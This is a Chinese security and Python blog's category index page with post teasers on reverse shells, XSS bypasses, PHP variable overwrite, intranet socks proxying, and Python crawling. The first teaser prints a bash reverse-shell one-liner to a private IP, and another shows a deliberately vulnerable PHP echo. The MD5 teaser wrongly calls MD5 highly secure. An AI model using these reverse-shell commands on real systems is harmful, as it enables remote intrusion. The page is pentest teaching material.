分类 技术分享 下的文章:

反弹shell的几种姿势
发表于: | 分类: Web渗透 | 评论:0 | 阅读: 1038
bash版本: bash -i >& /dev/tcp/10.0.0.1/8080 0>&1 注意某些linux不支持 perl版本: perl -e 'use Socket;$i="10.0.0.1";$p=12...

阅读全文>>

XSS绕过分析
发表于: | 分类: Web渗透 | 评论:0 | 阅读: 887
0x00 前言 本文介绍简单xss利用及其绕过,几个案例,都是比较简单的,绕过方法分享给大家 0x01 分析 1、无安全方面的限制,直接使用 关键代码: <?php @$id = $_GET['id']; echo $id; payload: <sc...

阅读全文>>

Celery+Redis简单实现分布式爬虫
发表于: | 分类: Python | 评论:0 | 阅读: 1310
Celery官方手册:http://docs.jinkan.org/docs/celery/ 本文不再讲解Celery+Redis分布式环境搭建,具体参考官方手册 第一个程序: tasks.py: from celery import Celery app = ...

阅读全文>>

PHP变量覆盖漏洞总结
发表于: | 分类: Web渗透 | 评论:0 | 阅读: 1002
一、全局变量覆盖 当register_global=ON时,变量来源可能是各个不同的地方,比如页面的表单,Cookie等。 <?php echo "Register_globals: ".(int)ini_get("regi...

阅读全文>>

Python requests的安装与简单运用
发表于: | 分类: Python | 评论:0 | 阅读: 758
强烈推荐!requests官方文档已有了中文版,请见http://cn.python-requests.org/en/latest/ 。 requests是python的一个HTTP客户端库,跟urllib,urllib2类似,那为什么要用requests而不...

阅读全文>>

Python的md5和sha1加密
发表于: | 分类: Python | 评论:0 | 阅读: 849
MD5 MD5的全称是Message-Digest Algorithm 5(信息-摘要算法)。128位长度。目前MD5是一种不可逆算法。 具有很高的安全性。它对应任何字符串都可以加密成一段唯一的固定长度的代码。 SHA1 SHA1的全称是Secure Hash A...

阅读全文>>

Python爬虫入门之正则表达式
发表于: | 分类: Python | 评论:0 | 阅读: 765
1.了解正则表达式 正则表达式是对字符串操作的一种逻辑公式,就是用事先定义好的一些特定字符、及这些特定字符的组合,组成一个“规则字符串”,这个“规则字符串”用来表达对字符串的一种过滤逻辑。 正则表达式是用来匹配字符串非常强大的工具,在其他编程语言中同样有正则表达式...

阅读全文>>

内网渗透之socks5代理(reGeorg+proxifier详细配置说明)
发表于: | 分类: Web渗透 | 评论:0 | 阅读: 873
正向代理与反向代理 正向代理 Lhost-->proxy-->Rhost Lhost为了访问到Rhost,向proxy发送了一个请求并且指定目标是Rhost,然后proxy向Rhost转交请求并将获得的内容返回给Lhost,简单来说正向代理就是prox...

阅读全文>>